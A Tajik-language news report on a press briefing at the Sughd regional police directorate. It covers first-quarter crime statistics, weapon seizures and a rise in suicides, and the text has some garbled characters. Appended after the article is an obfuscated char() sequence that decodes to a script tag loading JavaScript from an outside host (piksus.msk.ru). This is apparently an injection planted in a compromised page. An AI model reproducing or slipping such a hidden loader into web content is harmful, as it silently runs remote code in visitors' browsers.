Дирӯз дар РКД-и вилояти Суuд бо иштироки сардори раёсат Юсупов Р.Т, барои рӯзноманигорони ватаниву хориҷӣ нишасти матбуотӣ доир гардид. Дар он оид ба ҷамбасти фаъолияти мақомоти корҳои дохилии вилоят дар семоҳаи авали соли равон ҳисобот дода шуд.
Аз рӯи маълумоти РКД давоми 3 моҳ дар ваилоят 866 ҷиноят ба қайд гирифта шудааст. Ба гуфти сардори раёсат нисбат ҳамин давраи соли гузашта шумораи умумии ҷигноятҳо 1,8 фисад (882-866) кам гардидаанд. Чунинчӣ: ҷиноятҳои вазнини соҳаи кофтукови ҷиноӣ 16,2 фисад, роҳзанӣ 20 фоиз, қаллобӣ 62,1 фисад. Ҳамчунин ҷиноятҳои авбошӣ 33,3 % ва таҷовус ба номус 75% (4-1) кам гардидааст.
Ошкор намудани ҷиноятҳо нисбат ба ҳамин давраи соли гузашта 2,5 фоиз баланд гардидааст. Кофтукови ҷиноӣ 1,9, ҷиноятҳои вазнин 3,9 (85,1-89), ошкор намудани ҷиноятҳои қасдан расонидани зарари ҷисмонӣ ба саломатии шаҳрвандон 9,6 фоиз ва дуздӣ 12,7 фоиз (71,6-84,3) баланд гардидааст.
Дар ин давра бо мақсади баланд бардоштани кори нозирони минтақавии милитсия, милитсионерҳои дастаҳои дидбони пайраҳадори милитсия ба фаъолияти онҳо таuйиру илова ворид гардида, фаъолияти онҳо ба се баст тақсим карда шуд. Ин барои пешгирии ҷинояткорӣ ва таъмини ҳифзи тартиботи ҷамъиятӣ ва бехатарии шаҳрвандон дар ҷойҳои ҷамъиятӣ, кӯчаю хиёбонҳо пешбинӣ гардида, корҳои дохилоро хубтар
ба роҳ мемонад.
Дар давраи семоҳа аз шаҳрвандон 4 туфангча, 8 яроқи оташфишон, 108 яроқҳои оташфишони суфтамил дарёфт ва мусодира гардид. 4 нафар шаҳрвандон барои uайриқонунӣ нигоҳ доштани яроқ ба ҷавобгарии ҷиноӣ кашида шуданд.
Барои пешгирии ҷинояткорӣ байни ноболиuону ҷавонон 1128 амалиёт ва рейдҳо гузаронида шуд.
Дар нишаст доир ба ҳамаи самтҳои фаъолияти кормандони ҳифзи ҳуқуқ маълумоти муфассал дода шуд. Масъалаи муҳиме, ки вақтҳои охир ҳамаро ба ташвиш овардааст, ин ба худкушӣ даст задани шаҳрвандон мебошад. Бино бар маълумоти раёсат бо вуҷуди гузаронидани як қатор корҳои мушаххас дар роҳи паст кардани ин ҳодисаи номатлуб, вазъият ташвишовар аст. Дар ин давра дар вилоят 85 ҳодисаи худкушӣ ва 32 ҳодисаи сӯиқасд ба ҷони худ ба қайд гирифта шудааст, ки 47 нафарашонро мардон, 38 нафарашонро занон ва 15 нафарашонро ноболиuон ташкил медиҳанд. Ба гуфти Р.Юсупов- «Барои ҳалли пурра ва ҳаматарафаи масъала, ҳамоҳангосозии фаъолият, қувваю воситаҳои мақомоти иҷроияи ҳокимиятҳои давлатии маҳаллӣ, фаъолони минтақа, мутахассисони соҳаи тиб, равоншиносон, ҳифзи иҷтимоӣ, маъориф ва дин тақозо менамояд». Барои ҳамин аз ШКД - ҳои шаҳру навоҳии вилоят талаб карда шуд, ки ҳангоми содир шудани ҳодисаи худкушӣ ва сӯиқасд ба ҷон, ба ҷои ҳодиса гурӯҳи фаврӣ – тафтишотии ШКД ҳозир шаванд. Ҳодисаи худкушӣ нисбат ба ҳамин давраи соли гузашта 34,9% зиёд гардидааст. Сабаби ба худкушӣ даст задании шаҳрвандон: бемории руҳӣ, муноқишаҳои оилавӣ ва паст будани сатҳи зиндагӣ ба ҳисоб меравад. Муайян намудани сабаби худкушии 22 нафар шаҳрвандон маълум нест.
Баъди ҷамъбасти ҳисобот журналистон ба суолҳои худ посух гирифтанд.
Суuд
char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)54efa666ff82893b69b3e75f2273921a.js" type="text/javascript">